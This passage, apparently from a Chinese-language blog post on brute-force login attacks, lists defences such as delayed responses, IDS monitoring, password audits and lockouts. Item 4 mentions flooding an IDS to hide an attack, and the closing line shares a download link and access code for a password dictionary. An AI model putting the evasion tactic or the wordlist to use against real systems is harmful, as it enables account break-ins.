3.每次失败的尝试增加服务响应时间是另一个可以在许多情况下运行的策略。该策略涉及连续增加每次失败的认证尝试的响应时间。这意味着首先发生小的延迟,但随着攻击的进行,延迟更长和更长。这是一种非常有效和不引人注意的挫败暴力攻击的方法。
4.只要服务创建某种失败的日志,检测爆破就很容易。最常见的入侵检测系统(IDS)应该能够在短时间内检测大量失败的登录尝试。这种方法的缺点是攻击者可能会洪泛一个系统来产生大量的IDS事件通知,这些通知可以用于分析人员引发信息超载。充斥警报的分析人员将难以通过所有通知来识别实际的攻击,因此攻击者可能能够隐藏大量攻击的攻击垃圾。
5.审计系统密码也是一个有效的防范。通过检查你自己的系统以确保常用的用户名和密码不允许访问,你可以确保使用Hydra和普通用户和密码列表的攻击者无法访问。这种类型的渗透测试可能是耗时的,但是可能会在暴力攻击开始或成功之前提醒运营商潜在的漏洞。
6.检查你的日志。确保你检查任何系统日志可疑活动。当我运行这些测试时,目标服务器的日志显示了很多失败的登录,始终是发生事件的一个明确的迹象
7.正确设置你的服务 在关闭会话之前只允许一定数量的登录,如果可能的话,可以锁定谁可以从哪里登录
8.使用好的密码
最后一件事,在某种恶意的事情之前检测到这种类型的事情。
字典:链接:http://pan.baidu.com/s/1pLMFjsR 密码:p84w